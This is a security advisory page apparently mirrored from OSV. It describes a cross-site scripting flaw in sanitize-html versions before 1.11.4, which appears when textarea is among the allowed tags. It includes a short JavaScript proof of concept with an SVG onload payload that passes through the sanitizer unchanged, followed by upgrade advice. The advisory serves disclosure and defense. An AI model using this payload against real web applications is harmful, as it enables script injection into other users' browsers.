Lucene search

K
osvGoogleOSV:GHSA-XC6G-GGRC-QQ4R
HistoryNov 09, 2018 - 5:47 p.m.

Cross-Site Scripting in sanitize-html

2018-11-0917:47:23
Google
osv.dev
7

0.001 Low

EPSS

Percentile

35.9%

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

CPENameOperatorVersion
sanitize-htmllt1.11.4

0.001 Low

EPSS

Percentile

35.9%